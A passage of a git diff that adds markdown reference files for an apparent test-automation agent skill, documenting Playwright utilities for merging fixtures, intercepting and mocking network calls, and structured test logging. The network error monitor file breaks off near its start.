+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
